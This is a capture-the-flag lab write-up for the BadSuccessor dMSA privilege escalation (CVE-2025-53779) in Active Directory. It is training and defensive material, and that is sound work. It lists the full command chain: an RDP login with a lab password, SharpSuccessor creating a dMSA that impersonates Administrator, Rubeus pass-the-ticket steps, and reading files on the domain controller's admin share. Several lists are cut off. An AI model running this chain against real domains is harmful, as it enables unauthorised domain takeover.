
A TryHackme room covering the CVE-2025-53779 exploitation using windows
In this room, we explore the BadSuccessor privilege escalation technique, a vulnerability that abuses delegated Managed Service Accounts (dMSAs) in Active Directory. The attack allows a user with sufficient control over a dMSA object to impersonate another account and potentially achieve Domain Administrator privileges.
Room: https://tryhackme.com/room/adbadsuccessor
Difficulty: Medium
Date: 05/06/2026
Version: 1.0
Objective: Demonstrate how delegated Managed Service Accounts can be abused to escalate privileges and compromise an Active Directory environment.
Role: Terry Byte (tbyte)
Goal: Assess the security of a newly deployed Active Directory environment and determine whether it is vulnerable to the BadSuccessor attack.
The attack consists of two primary phases:
xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution
Move to the Proof-of-Concept directory:
cd C:\PoC
Verify the contents: dir
https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1
notepad Get-BadSuccessorOUPermissions.ps1
.\Get-BadSuccessorOUPermissions.ps1
Use SharpSuccessor to create a delegated Managed Service Account that impersonates the Administrator account:
.\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
What Happens?
Use Rubeus to obtain a delegated Ticket Granting Ticket (TGT):
.\Rubeus.exe tgtdeleg /nowrap
The command returns a Base64-encoded Kerberos ticket.
Copy the generated ticket.
.\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
Result:
A new Kerberos ticket is injected into memory for the dMSA account.
Leverage the dMSA ticket to obtain access to services running under Administrator context:
.\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
Result:
dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\
Read the flag stored on the Administrator desktop:
Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
Flag obtained successfully.
BadSuccessor demonstrates how delegated Managed Service Accounts can introduce privilege escalation paths in Active Directory environments. Active Directory serves as the identity backbone for many organizations, vulnerabilities affecting Kerberos and account delegation can have severe consequences.
An attacker with sufficient permissions over a dMSA object may:
To mitigate BadSuccessor (CVE-2025-53779), organizations should promptly apply Microsoft's security updates, restrict and review dMSA permissions, monitor suspicious Kerberos activity, audit delegation relationships, and enforce the principle of least privilege. Regular reviews of Active Directory delegation settings can help identify and reduce potential privilege escalation paths.
This room provided valuable hands-on experience with: